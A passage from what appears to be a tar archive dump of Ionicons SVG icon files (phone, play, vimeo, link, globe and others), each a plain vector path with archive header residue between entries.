0-40-17.9-40-40s17.9-40 40-40 40 17.9 40 40-17.9 40-40 40z"/></svg>ionicons/svg/md-phone-landscape.svg000064400000000437151701353760013360 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M480 358.856V153.143C480 130.512 461.674 112 439.272 112H72.728C50.326 112 32 130.512 32 153.143v205.713C32 381.488 50.326 400 72.728 400h366.545C461.674 400 480 381.488 480 358.856zM112 364V148h288v216H112z"/></svg>ionicons/svg/md-play.svg000064400000000151151701353760011255 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M96 52v408l320-204L96 52z"/></svg>ionicons/svg/ios-school.svg000064400000001026151701353760011773 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M96.9 270.3V363c0 2.9 1.5 5.5 4 7l132 75.9c5.3 3.1 12-.8 12-7v-93.8c0-2.9-1.5-5.5-4-7l-132-74.9c-5.4-2.9-12 1-12 7.1zM280.9 445.9L413 370c2.5-1.4 4-4.1 4-7v-93.7c0-6.2-6.6-10-12-7l-132 75.9c-2.5 1.4-4 4.1-4 7V439c-.1 6.1 6.6 10 11.9 6.9z"/><path d="M249 65.1L37 188.9c-5.4 3.1-5.4 10.8 0 13.9l212 117.8c4.9 2.8 11 2.8 15.9 0L453 212.9c5.3-3.1 7 .8 7 7v153.4c0 6.8 3.9 10 11 10 4.4 0 10-3.2 10-10V201.5c0-2.9-1.5-5.5-4-7L264.9 65.1c-4.9-2.8-11-2.8-15.9 0z"/></svg>ionicons/svg/logo-vimeo.svg000064400000001413151701353760011771 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M476.9 114c-5-23.4-17.5-38.8-40.6-46.3s-64.9-4.5-94.1 16.8c-29.9 21.8-47.6 59.7-53.8 83.8 14.7-6.3 24-7.7 39-6.9s24.5 12 24.9 25.3c.3 9.8-.2 18.7-3.6 27.7-10.8 28.7-27.7 56.5-47.6 80.8-2.9 3.6-6.4 6.9-10 9.9-10.2 8.3-18.8 6.1-25.4-5.2-5.4-9.3-9-18.9-12.2-29.1-12.4-39.7-16.8-80.9-23.8-121.6-3.3-19.5-7-39.8-18-56.9-11.6-17.8-28.6-24.6-50-22-14.7 1.8-36.9 17.5-47.8 26.4 0 0-56 46.9-81.8 71.4l21.2 27s17.9-12.5 27.5-18.3c5.7-3.4 12.4-4.1 17.2.2 4.5 3.9 9.6 9 12.3 14.1 5.7 10.7 11.2 21.9 14.7 33.4 13.2 44.3 25.5 88.7 37.8 133.3 6.3 22.8 13.9 44.2 28 63.6 19.3 26.6 39.6 32.7 70.9 21.5 25.4-9.1 46.6-26.2 66-43.9 33.1-30.2 59.1-65.4 85.5-101.2 20.4-27.7 37.3-55.7 51.4-87 13.9-31 19.4-63.5 12.3-96.8z"/></svg>ionicons/svg/ios-expand.svg000064400000002116151701353760011764 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M112.4 92h77.7c7.7 0 13.9-6.2 13.9-13.9v-.2c0-7.7-6.2-13.9-13.9-13.9H77.9C70.2 64 64 70.2 64 77.9v112.2c0 7.7 6.2 13.9 13.9 13.9h.2c7.7 0 13.9-6.2 13.9-13.9v-77.7l117.1 116.3c2.6 2.6 6.1 4 9.8 4 3.7 0 7.2-1.4 9.8-4.1 5.4-5.4 5.4-14.2 0-19.6L112.4 92zM434.1 64H321.9c-7.7 0-13.9 6.2-13.9 13.9v.2c0 7.7 6.2 13.9 13.9 13.9h77.7L283.3 209.1c-5.4 5.4-5.4 14.2 0 19.6 2.6 2.6 6.1 4.1 9.8 4.1 3.7 0 7.2-1.4 9.8-4L420 112.4v77.7c0 7.7 6.2 13.9 13.9 13.9h.2c7.7 0 13.9-6.2 13.9-13.9V77.9c0-7.7-6.2-13.9-13.9-13.9zM218.9 279.2c-3.7 0-7.2 1.4-9.8 4L92 399.6v-77.7c0-7.7-6.2-13.9-13.9-13.9h-.2c-7.7 0-13.9 6.2-13.9 13.9v112.2c0 7.7 6.2 13.9 13.9 13.9h112.2c7.7 0 13.9-6.2 13.9-13.9v-.2c0-7.7-6.2-13.9-13.9-13.9h-77.7l116.3-117.1c5.4-5.4 5.4-14.2 0-19.6-2.6-2.6-6.1-4.1-9.8-4.1zM434.1 308h-.2c-7.7 0-13.9 6.2-13.9 13.9v77.7L302.9 283.3c-2.6-2.6-6.1-4-9.8-4-3.7 0-7.2 1.4-9.8 4.1-5.4 5.4-5.4 14.2 0 19.6l116.3 117h-77.7c-7.7 0-13.9 6.2-13.9 13.9v.2c0 7.7 6.2 13.9 13.9 13.9h112.2c7.7 0 13.9-6.2 13.9-13.9V321.9c0-7.7-6.2-13.9-13.9-13.9z"/></svg>ionicons/svg/ios-podium.svg000064400000000647151701353760012011 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M64 199.9v208.2c0 4.4 3.5 7.9 7.9 7.9h96.2c4.4 0 7.9-3.5 7.9-7.9V199.9c0-4.4-3.5-7.9-7.9-7.9H71.9c-4.4 0-7.9 3.5-7.9 7.9zM199.9 96c-4.4 0-7.9 3.5-7.9 7.9V416h120.1c4.4 0 7.9-3.5 7.9-7.9V103.9c0-4.4-3.5-7.9-7.9-7.9H199.9zM440.1 256h-96.2c-4.4 0-7.9 3.5-7.9 7.9v144.2c0 4.4 3.5 7.9 7.9 7.9h96.2c4.4 0 7.9-3.5 7.9-7.9V263.9c0-4.4-3.5-7.9-7.9-7.9z"/></svg>ionicons/svg/ios-save.svg000064400000001041151701353760011437 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M272 64h-16c-4.4 0-8 3.6-8 8v72c0 4.4 7.6 8 12 8h12c4.4 0 8-3.6 8-8V72c0-4.4-3.6-8-8-8z"/><path d="M433.9 130.1L382 78.2c-9-9-21.3-14.2-34.1-14.2h-28c-8.8 0-16 7.3-16 16.2v80c0 8.8-7.2 16-16 16H160c-8.8 0-16-7.2-16-16v-80c0-8.8-7.2-16.2-16-16.2H96c-17.6 0-32 14.4-32 32v320c0 17.6 14.4 32 32 32h320c17.6 0 32-14.4 32-32V164c0-12.7-5.1-24.9-14.1-33.9zM322 400.1c0 8.8-8 16-17.8 16H143.8c-9.8 0-17.8-7.2-17.8-16v-96c0-8.8 8-16 17.8-16h160.4c9.8 0 17.8 7.2 17.8 16v96z"/></svg>ionicons/svg/ios-mail-open.svg000064400000001173151701353760012370 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M453.5 209.8c-4-4-158.3-161.4-158.3-161.4C284.8 37.8 270.9 32 256 32c-14.9 0-28.8 5.8-39.2 16.5 0 0-153.6 156.5-158.3 161.4C53.9 214.7 48 224.7 48 236v212c0 17.6 14.4 32 32 32h352c17.6 0 32-14.4 32-32V235c0-11.7-6.6-21.1-10.5-25.2zm-19.4 42.3L353 336.9c-.8.8-.8 2 0 2.8l75.3 80.2c5.1 5.1 5.1 13.3 0 18.4-2.5 2.5-5.9 3.8-9.2 3.8s-6.7-1.3-9.2-3.8l-151-161.2c-1.6-1.7-4.3-1.7-5.8 0L102.2 438.2c-2.5 2.5-5.9 3.8-9.2 3.8s-6.7-1.3-9.2-3.8c-5.1-5.1-5.1-13.3 0-18.4l75.3-80.2c.7-.8.7-2 0-2.8L77.7 252c-9.7-9.9-2.4-35.8 16.1-35.8h324.4c16.5-.1 25.6 26.1 15.9 35.9z"/></svg>ionicons/svg/ios-glasses.svg000064400000001254151701353760012150 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M464.5 240.9h-6.2c-3.3-21.1-13.3-40.5-28.5-55.2-17.3-16.6-39.8-25.8-63.4-25.8-20.5 0-40 6.7-56.2 19.4-13.8 10.8-24.2 25.1-30.5 41.7-7-4.6-15.4-7.3-23.7-7.3-8.3 0-16.7 2.6-23.7 7.3-6.2-16.6-16.6-30.9-30.5-41.7-16.2-12.7-35.7-19.4-56.2-19.4-23.6 0-46.1 9.1-63.4 25.6C67 200.4 57 219.9 53.7 241h-6.2c-8 0-14.5 6.7-14.5 15s6.5 15 14.5 15h6.2c3.3 21.2 13.3 40.6 28.5 55.3 17.3 16.6 39.8 25.8 63.4 25.8 51.3 0 93.1-43 93.1-95.9v-.2c0-5.9 6.9-14.9 17.3-14.9s17.3 9 17.3 14.9v.1c0 52.9 41.8 95.9 93.1 95.9 23.7 0 46.2-9.1 63.4-25.8 15.2-14.7 25.2-34.2 28.5-55.4h6.2c8 0 14.5-6.7 14.5-15 0-8.1-6.5-14.9-14.5-14.9z"/></svg>ionicons/svg/ios-man.svg000064400000001252151701353760011260 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M255.7 106.6h-.2c-25 0-45.5-20.3-45.5-45.3 0-25 20.4-45.3 45.5-45.3S301 36.3 301 61.3c0 12.1-4.7 23.5-13.3 32-8.5 8.6-19.9 13.3-32 13.3zM221.2 496c-14.4 0-27-10.5-27-30.4l1-277.6h-10v105c0 9.3-3 15.1-6.4 18.3-4.3 4.1-9.1 6.4-15.2 6.4-6.2 0-10.9-2.3-15.2-6.4-3.4-3.2-6.4-8.9-6.4-18.3V171.4c0-13.8 4.4-27.8 13.8-38.4 10.4-11.6 23.6-18 39-18h122.3c15.4 0 28.6 6.4 39 18.1 9.4 10.6 13.8 24.5 13.8 38.3V293c0 7.3-1.7 13.8-6.6 18.3-4.4 4-9.3 6.2-15.5 6.2s-11.1-2.2-15.5-6.2c-4.9-4.5-6.6-11-6.6-18.3V188h-9v277.6c0 19.7-13.4 30.4-27.8 30.4-13.4 0-26.3-9.3-27.4-29.8V325h-12v140.9c-.7 19.7-13.8 30.1-28.3 30.1z"/></svg>ionicons/svg/md-appstore.svg000064400000000514151701353760012150 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M464 152H360c0-57-46.562-103.859-104-103.859S152 95 152 152H48c18.688 216 13 312 13 312h389.999c-.001 0-5.688-98 13.001-312zM256 74.105c43.008 0 77.999 34.895 77.999 77.895H178c0-43 34.991-77.895 78-77.895zM204 397.64V228.867l142.999 84.387L204 397.64z"/></svg>ionicons/svg/ios-film.svg000064400000001727151701353760011443 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M447.9 80H64.1C46.5 80 32 94.5 32 112.1v287.7c0 17.7 14.5 32.1 32.1 32.1h383.7c17.7 0 32.1-14.5 32.1-32.1V112.1c.1-17.6-14.4-32.1-32-32.1zM120 400c0 4.4-3.6 8-8 8H64c-4.4 0-8-3.6-8-8v-48c0-4.4 3.6-8 8-8h48c4.4 0 8 3.6 8 8v48zm0-80c0 4.4-3.6 8-8 8H64c-4.4 0-8-3.6-8-8v-48c0-4.4 3.6-8 8-8h48c4.4 0 8 3.6 8 8v48zm0-80c0 4.4-3.6 8-8 8H64c-4.4 0-8-3.6-8-8v-48c0-4.4 3.6-8 8-8h48c4.4 0 8 3.6 8 8v48zm0-80c0 4.4-3.6 8-8 8H64c-4.4 0-8-3.6-8-8v-48c0-4.4 3.6-8 8-8h48c4.4 0 8 3.6 8 8v48zm232 108H160c-6.6 0-12-5.4-12-12s5.4-12 12-12h192c6.6 0 12 5.4 12 12s-5.4 12-12 12zm104 132c0 4.4-3.6 8-8 8h-48c-4.4 0-8-3.6-8-8v-48c0-4.4 3.6-8 8-8h48c4.4 0 8 3.6 8 8v48zm0-80c0 4.4-3.6 8-8 8h-48c-4.4 0-8-3.6-8-8v-48c0-4.4 3.6-8 8-8h48c4.4 0 8 3.6 8 8v48zm0-80c0 4.4-3.6 8-8 8h-48c-4.4 0-8-3.6-8-8v-48c0-4.4 3.6-8 8-8h48c4.4 0 8 3.6 8 8v48zm0-80c0 4.4-3.6 8-8 8h-48c-4.4 0-8-3.6-8-8v-48c0-4.4 3.6-8 8-8h48c4.4 0 8 3.6 8 8v48z"/></svg>ionicons/svg/logo-usd.svg000064400000003464151701353760011455 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M411.387 303.256c-3.119-9.577-7.891-18.561-14.301-26.952-6.422-8.382-14.396-15.826-23.93-22.331-9.539-6.498-20.721-11.63-33.553-15.4-5.143-1.363-14.189-3.506-26.104-6.418-8.516-2.074-16.5-4.2-25.5-6.367V120.065c9 2.396 15.252 6.202 21.926 10.43C324.204 139.535 333.157 155 335.78 176h69.174c-.654-18-4.65-32.76-11.996-46.02-8.07-14.543-18.977-27.024-32.73-36.956-13.75-9.922-30.225-17.49-48.377-22.455C303.967 68.416 297 66.605 288 65.386V32h-64v33.167c-7 1.044-15.148 2.445-22.426 4.25-17.242 4.283-32.388 10.868-45.951 19.764-13.571 8.905-24.352 20.112-32.604 33.627-8.251 13.523-12.312 29.52-12.312 48 0 9.585 1.407 18.993 4.157 28.235 2.752 9.241 7.442 17.967 14.042 26.181 6.603 8.214 15.495 15.658 26.687 22.332 11.183 6.672 24.705 12.064 41.576 16.171 9.287 2.345 18.83 4.534 26.83 6.576v119.586c-11-2.919-21.889-7.399-30.678-13.479-9.17-6.327-16.066-13.953-21.198-23.884-4.779-9.229-7.073-20.526-7.407-32.526H96c.695 21 5.25 39.494 13.672 55.371 8.799 16.604 20.533 29.96 35.204 40.562 14.662 10.613 31.393 18.356 51.198 23.491 8.885 2.304 18.926 3.96 27.926 5.23V480h64v-34.54c10-1.069 18.957-2.69 28.527-4.879 18.701-4.273 35.645-11.036 50.316-20.276 14.662-9.24 26.621-21.128 35.611-35.681 8.98-14.541 13.545-32.085 13.545-52.619.001-9.578-1.501-19.164-4.612-28.749zM224 209.699c-12-3.743-23.912-9.088-32.051-16.048-8.621-7.355-12.673-17.534-12.673-30.545 0-9.241 2.414-16.94 7.004-23.102 4.58-6.161 9.912-11.038 16.88-14.631 6.18-3.189 13.84-5.565 20.84-7.138v91.464zm118.902 149.772c-2.939 6.673-7.699 12.576-14.303 17.711-6.602 5.133-15.744 9.328-26.377 12.577-4.5 1.378-8.223 2.444-14.223 3.236v-107.11c10 2.624 18.18 5.332 26.326 8.131 8.062 2.744 15.748 7.443 22.537 14.116 6.785 6.676 10.309 17.03 10.309 31.06.001 6.85-1.337 13.605-4.269 20.279z"/></svg>ionicons/svg/md-contrast.svg000064400000000441151701353760012147 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48C141.1 48 48 141.1 48 256s93.1 208 208 208 208-93.1 208-208S370.9 48 256 48zm113.1 321.1C338.9 399.4 298.7 416 256 416V96c42.7 0 82.9 16.6 113.1 46.9C399.4 173.1 416 213.3 416 256s-16.6 82.9-46.9 113.1z"/></svg>ionicons/svg/ios-skip-backward.svg000064400000000366151701353760013234 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M175 100v137.8L403.9 98.1c5.3-3.1 12.1.7 12.1 6.9v302c0 6.2-6.7 10-12.1 6.9L175 274.2V412c0 2.2-1.8 4-4 4h-71c-2.2 0-4-1.8-4-4V100c0-2.2 1.8-4 4-4h71c2.2 0 4 1.8 4 4z"/></svg>ionicons/svg/ios-water.svg000064400000000750151701353760011631 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M352 146.4c-34.4-48.6-67.5-78.5-90.8-96.6-3.1-2.4-7.3-2.4-10.4-.1-23 17.1-56.1 48.4-90.5 96.5-37.3 52-63 108.4-64.2 170.9 0 1.2-.1 2.5-.1 3.7 0 18.4 3.9 35.9 10.9 52.1 4.1 9.3 9.2 18.1 15.2 26.3 28.5 39 77.8 64.8 133.8 64.8 88.4 0 160.1-64.1 160.1-143.2 0-63.7-27-122.2-64-174.4zm-86 264.3h-.5c-9.9 0-12-14.1-2.6-17.1 45.1-14.2 69.6-38.5 86.4-80.8 3.5-8.9 16.7-6.5 16.8 3.1v1.4c-.1 51.6-44.9 93.4-100.1 93.4z"/></svg>ionicons/svg/md-power.svg000064400000000534151701353760011451 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M279.1 48h-46.2v231.1h46.2V48zm111.6 50.2L357.9 131c36.5 29.4 59.9 74.4 59.9 125 0 89.4-72.3 161.8-161.8 161.8S94.2 345.4 94.2 256c0-50.6 23.3-95.7 59.6-125.3l-32.6-32.6C76.4 136.3 48 192.7 48 256c0 114.9 93.1 208 208 208s208-93.1 208-208c0-63.3-28.4-119.7-73.3-157.8z"/></svg>ionicons/svg/md-pause.svg000064400000000203151701353760011423 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M96 448h106.7V64H96v384zM309.3 64v384H416V64H309.3z"/></svg>ionicons/svg/ios-battery-charging.svg000064400000000757151701353760013750 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M396 144H64c-26.4 0-48 21.6-48 48v128c0 26.4 21.6 48 48 48h332c26.4 0 48-21.6 48-48V192c0-26.4-21.6-48-48-48zm20 176c0 11-9 20-20 20H64c-11 0-20-9-20-20V192c0-11 9-20 20-20h332c11 0 20 9 20 20v128zM464 204.6v102.8c16 0 32-27.7 32-51.4s-16-51.4-32-51.4z"/><path d="M384 192H76c-6.6 0-12 5.4-12 12v104c0 6.6 5.4 12 12 12h308c6.6 0 12-5.4 12-12V204c0-6.6-5.4-12-12-12zM218.8 308l8.4-43H200l45.2-61-8.4 43H264l-45.2 61z"/></svg>ionicons/svg/ios-redo.svg000064400000000650151701353760011437 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M32 432h2.9c1.8 0 3.5-1.1 4.1-2.8 2.2-5.7 8.3-19.8 21.4-39.7 21.5-32.7 58.4-67.4 94.5-83.5 27.6-12.4 53-21.5 97.1-23.2 2.3-.1 4.2 1.7 4.2 4v81.6c0 3.2 3.6 5.1 6.2 3.4l215.9-142.2c2.4-1.6 2.4-5.1 0-6.7l-216-142.2c-2.7-1.8-6.2.1-6.2 3.4v82.6c0 2.2-1.7 3.9-3.8 4-71.6 3.8-123.1 24.8-163.4 65.5-61 61.6-56.8 139.1-56.8 158.7 0 10.3-.1 25.3-.1 37.1z"/></svg>ionicons/svg/ios-quote.svg000064400000001014151701353760011636 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M209 96h-65c-26.4 0-48 21.6-48 48v128c0 26.4 21.6 48 48 48h38.7c4.6 0 8.3 3.9 8 8.6-2.3 35.5-18.8 60.2-31.3 74.1-4.7 5.2-1 13.4 5.9 13.4h39.9c2.5 0 4.8-1.1 6.3-3.1 7.4-9.6 28.5-41.6 28.5-93.9v-192c0-17.8-13.3-31.1-31-31.1zM385 96h-65c-26.4 0-48 21.6-48 48v128c0 26.4 21.6 48 48 48h38.7c4.6 0 8.3 3.9 8 8.6-2.3 35.5-18.8 60.2-31.3 74.1-4.7 5.2-1 13.4 5.9 13.4h39.9c2.5 0 4.8-1.1 6.3-3.1 7.4-9.6 28.5-41.6 28.5-93.9v-192c0-17.8-13.3-31.1-31-31.1z"/></svg>ionicons/svg/ios-flame.svg000064400000000527151701353760011575 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M220.1 48C249.1 182.6 111 179.9 112 315.4c.8 111 118.4 148.6 144.5 148.6 26.1 0 134.8-23.6 143.1-148.6 7.1-106.4-81.7-208-179.5-267.4zm74.3 354.7c-10.2 38.9-66 39-76.4.1-1.5-5.6-2.4-11.5-2.4-17.5 0-41 40.6-88.3 40.6-88.3s40.4 47.3 40.4 88.3c.1 6-.7 11.8-2.2 17.4z"/></svg>ionicons/svg/md-pricetag.svg000064400000000532151701353760012111 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M416 64H257.6L76.5 251.6c-8 8-12.3 18.5-12.5 29-.3 11.3 3.9 22.6 12.5 31.2l123.7 123.6c8 8 20.8 12.5 28.8 12.5s22.8-3.9 31.4-12.5L448 256V96l-32-32zm-30.7 102.7c-21.7 6.1-41.3-10-41.3-30.7 0-17.7 14.3-32 32-32 20.7 0 36.8 19.6 30.7 41.3-2.9 10.3-11.1 18.5-21.4 21.4z"/></svg>ionicons/svg/logo-designernews.svg000064400000000556151701353760013356 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M290.4 145L227 96l63.6 102.2z"/><path d="M329 96v163h-36.4l-63.2-98.6 1.7 98.6H191V152l-37.3-29.3c1 1.2 2 2.4 2.9 3.7 10 13.9 15 30.5 15 50.5 0 49.2-30.6 82.1-76.9 82.1H32v.4L231.6 416H480V214.1L329 96z"/><path d="M129.9 178.1c0-29-14.2-45.1-39.7-45.1H71v89h19c26 0 39.9-15.4 39.9-43.9z"/></svg>ionicons/svg/ios-cloud-download.svg000064400000001064151701353760013421 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M437.1 165.8C429 90.6 365.4 32 288 32c-51.2 0-96.3 25.6-123.4 64.7-8.3-3.4-17.4-5.3-26.9-5.3-39.1 0-70.8 34.4-71.4 73.4C26.4 177.5 0 216.5 0 257.5 0 307.7 40.7 352 90.9 352H243V211c0-7.2 5.8-13 13-13s13 5.8 13 13v141h152.1c50.2 0 90.9-44.3 90.9-94.5 0-44.7-32.3-84.1-74.9-91.7zM243 435.9l-47.9-47.2c-5.1-5-13.3-5-18.4.1-5 5.1-5 13.3.1 18.4l70 69c2.5 2.4 5.8 3.7 9.1 3.7 1.7 0 3.4-.3 5-1 1.5-.6 2.9-1.6 4.1-2.7l70-69c5.1-5 5.2-13.3.1-18.4-5-5.1-13.3-5.2-18.4-.1L269 435.9V352h-26v83.9z"/></svg>ionicons/svg/ios-arrow-round-down.svg000064400000000514151701353760013731 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M348.3 295.6c-5-5.1-13.3-5.1-18.4-.1L269 356.2V124.9c0-7.1-5.8-12.9-13-12.9s-13 5.8-13 12.9v231.3l-60.9-60.8c-5.1-5-13.3-4.9-18.4.1-5 5.1-5 13.2.1 18.3l83 82.4c1.2 1.1 2.5 2 4.1 2.7 1.6.7 3.3 1 5 1 3.4 0 6.6-1.3 9.1-3.7l83-82.4c5.2-4.9 5.3-13.1.3-18.2z"/></svg>ionicons/svg/ios-football.svg000064400000002464151701353760012315 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48C141.1 48 48 141.1 48 256c0 114.7 93.3 208 208 208 114.9 0 208-93.1 208-208 0-114.7-93.3-208-208-208zm127.3 80.7c8.5 8.5 16.1 17.7 22.6 27.5.7 1 .9 2.4.4 3.5L391.9 201c-.4 1-1.1 1.9-2.1 2.3l-57.5 26.2c-1.4.6-3 .4-4.2-.6l-56.6-47.6a4.1 4.1 0 0 1-1.4-3.1v-63.1c0-1.3.7-2.6 1.8-3.3l38.4-26.1c1-.7 2.3-.9 3.5-.5 25.8 8.9 49.6 23.6 69.5 43.5zm-73.9 297.6c-.4 1.2-1.4 2.1-2.6 2.4-16.3 4.8-33.4 7.2-50.8 7.2-17.5 0-34.5-2.5-50.8-7.2-1.2-.4-2.2-1.3-2.6-2.4l-16.4-43c-.4-1.1-.3-2.3.2-3.3l22.3-42.3c.7-1.3 2.1-2.1 3.5-2.1h87.5c1.5 0 2.8.8 3.5 2.1l22.3 42.3c.5 1 .6 2.2.2 3.3l-16.3 43zm-67.4-311v63.1c0 1.2-.5 2.3-1.4 3.1L183.9 229c-1.2 1-2.8 1.2-4.2.6l-57.5-26.2c-1-.5-1.8-1.3-2.1-2.3l-14.4-41.2c-.4-1.2-.3-2.5.4-3.5 6.5-9.8 14.1-19 22.6-27.5 19.9-19.9 43.7-34.6 69.6-43.3 1.2-.4 2.5-.2 3.5.5l38.4 26.1c1.1.5 1.8 1.7 1.8 3.1zM77.7 264.1l36.1-31.2c1.2-1 2.9-1.3 4.3-.6l52.4 23.8c1.1.5 1.9 1.5 2.2 2.7l14.6 57.3c.2 1 .1 2-.3 2.9l-23.2 43.9c-.7 1.3-2.1 2.2-3.6 2.1l-46-.6c-1.2 0-2.4-.6-3.2-1.6-20.5-27.7-32.5-60.6-34.7-95.4 0-1.3.5-2.5 1.4-3.3zm270.4 98.7L325 319c-.5-.9-.6-1.9-.3-2.9l14.6-57.3c.3-1.2 1.1-2.2 2.2-2.7l52.4-23.8c1.4-.6 3.1-.4 4.3.6l36.1 31.2c.9.8 1.5 2 1.4 3.3-2.1 34.8-14.2 67.6-34.7 95.4-.7 1-1.9 1.6-3.2 1.6l-46.1.6c-1.5-.1-2.9-.9-3.6-2.2z"/></svg>ionicons/svg/md-film.svg000064400000000544151701353760011245 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M376 64v42.667h-40V64H176v42.667h-40V64H96v384h40v-42.666h40V448h160v-42.666h40V448h40V64h-40zM176 362.667h-40V320h40v42.667zm0-85.333h-40v-42.667h40v42.667zM176 192h-40v-42.666h40V192zm200 170.667h-40V320h40v42.667zm0-85.333h-40v-42.667h40v42.667zM376 192h-40v-42.666h40V192z"/></svg>ionicons/svg/md-leaf.svg000064400000000313151701353760011217 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M416 287.6C416 120.9 256 32 256 32S96 120.9 96 287.6c0 118.8 81.3 140.5 128 143.2V480h64v-49.3c46.7-2.6 128-24.3 128-143.1z"/></svg>ionicons/svg/md-remove-circle-outline.svg000064400000000615151701353760014526 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 90c44.3 0 86 17.3 117.4 48.6C404.7 170 422 211.7 422 256s-17.3 86-48.6 117.4C342 404.7 300.3 422 256 422s-86-17.3-117.4-48.6C107.3 342 90 300.3 90 256s17.3-86 48.6-117.4C170 107.3 211.7 90 256 90m0-42C141.1 48 48 141.1 48 256s93.1 208 208 208 208-93.1 208-208S370.9 48 256 48z"/><path d="M363 277H149v-42h214v42z"/></svg>ionicons/svg/ios-link.svg000064400000003027151701353760011444 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M280 341.1l-1.2.1c-3.6.4-7 2-9.6 4.5l-64.6 64.6c-13.7 13.7-32 21.2-51.5 21.2s-37.8-7.5-51.5-21.2c-13.7-13.7-21.2-32-21.2-51.5s7.5-37.8 21.2-51.5l68.6-68.6c3.5-3.5 7.3-6.6 11.4-9.3 4.6-3 9.6-5.6 14.8-7.5 4.8-1.8 9.9-3 15-3.7 3.4-.5 6.9-.7 10.2-.7 1.4 0 2.8.1 4.6.2 17.7 1.1 34.4 8.6 46.8 21 7.7 7.7 13.6 17.1 17.1 27.3 2.8 8 11.2 12.5 19.3 10.1.1 0 .2-.1.3-.1.1 0 .2 0 .2-.1 8.1-2.5 12.8-11 10.5-19.1-4.4-15.6-12.2-28.7-24.6-41-15.6-15.6-35.9-25.8-57.6-29.3-1.9-.3-3.8-.6-5.7-.8-3.7-.4-7.4-.6-11.1-.6-2.6 0-5.2.1-7.7.3-5.4.4-10.8 1.2-16.2 2.5-1.1.2-2.1.5-3.2.8-6.7 1.8-13.3 4.2-19.5 7.3-10.3 5.1-19.6 11.7-27.7 19.9l-68.6 68.6C58.9 304.4 48 330.8 48 359c0 28.2 10.9 54.6 30.7 74.4C98.5 453.1 124.9 464 153 464c28.2 0 54.6-10.9 74.4-30.7l65.3-65.3c10.4-10.5 2-28.3-12.7-26.9z"/><path d="M433.3 78.7C413.5 58.9 387.1 48 359 48s-54.6 10.9-74.4 30.7l-63.7 63.7c-9.7 9.7-3.6 26.3 10.1 27.4 4.7.4 9.3-1.3 12.7-4.6l63.8-63.6c13.7-13.7 32-21.2 51.5-21.2s37.8 7.5 51.5 21.2c13.7 13.7 21.2 32 21.2 51.5s-7.5 37.8-21.2 51.5l-68.6 68.6c-3.5 3.5-7.3 6.6-11.4 9.3-4.6 3-9.6 5.6-14.8 7.5-4.8 1.8-9.9 3-15 3.7-3.4.5-6.9.7-10.2.7-1.4 0-2.9-.1-4.6-.2-17.7-1.1-34.4-8.6-46.8-21-7.3-7.3-12.8-16-16.4-25.5-2.9-7.7-11.1-11.9-19.1-9.8-8.9 2.3-14.1 11.7-11.3 20.5 4.5 14 12.1 25.9 23.7 37.5l.2.2c16.9 16.9 39.4 27.6 63.3 30.1 3.7.4 7.4.6 11.1.6 2.6 0 5.2-.1 7.8-.3 6.5-.5 13-1.6 19.3-3.2 6.7-1.8 13.3-4.2 19.5-7.3 10.3-5.1 19.6-11.7 27.7-19.9l68.6-68.6c19.8-19.8 30.7-46.2 30.7-74.4s-11.1-54.6-30.9-74.4z"/></svg>ionicons/svg/md-beaker.svg000064400000000662151701353760011550 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M448.1 34.9c0-1.2-.4-2.9-2.9-2.9H128.5c-54.3 0-64.4 27.4-64.4 39.8C94.4 76 96 76.5 96 108.5v307c0 35.3 28.9 64.5 64.3 64.5H368c35.3 0 64-29.2 64-64.5V73.3c2.2-17.5 12-31.8 13.1-33.5 1.2-1.9 3-3.8 3-4.9zM354.2 432H176.3c-15.9 0-29.7-11.9-32.3-27.1V80h240v319.7c0 18-12.4 32.3-29.8 32.3z"/><path d="M182 160v226c0 4.4 3.6 8 8 8h148c4.4 0 8-3.6 8-8V160H182z"/></svg>ionicons/svg/md-globe.svg000064400000003722151701353760011407 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 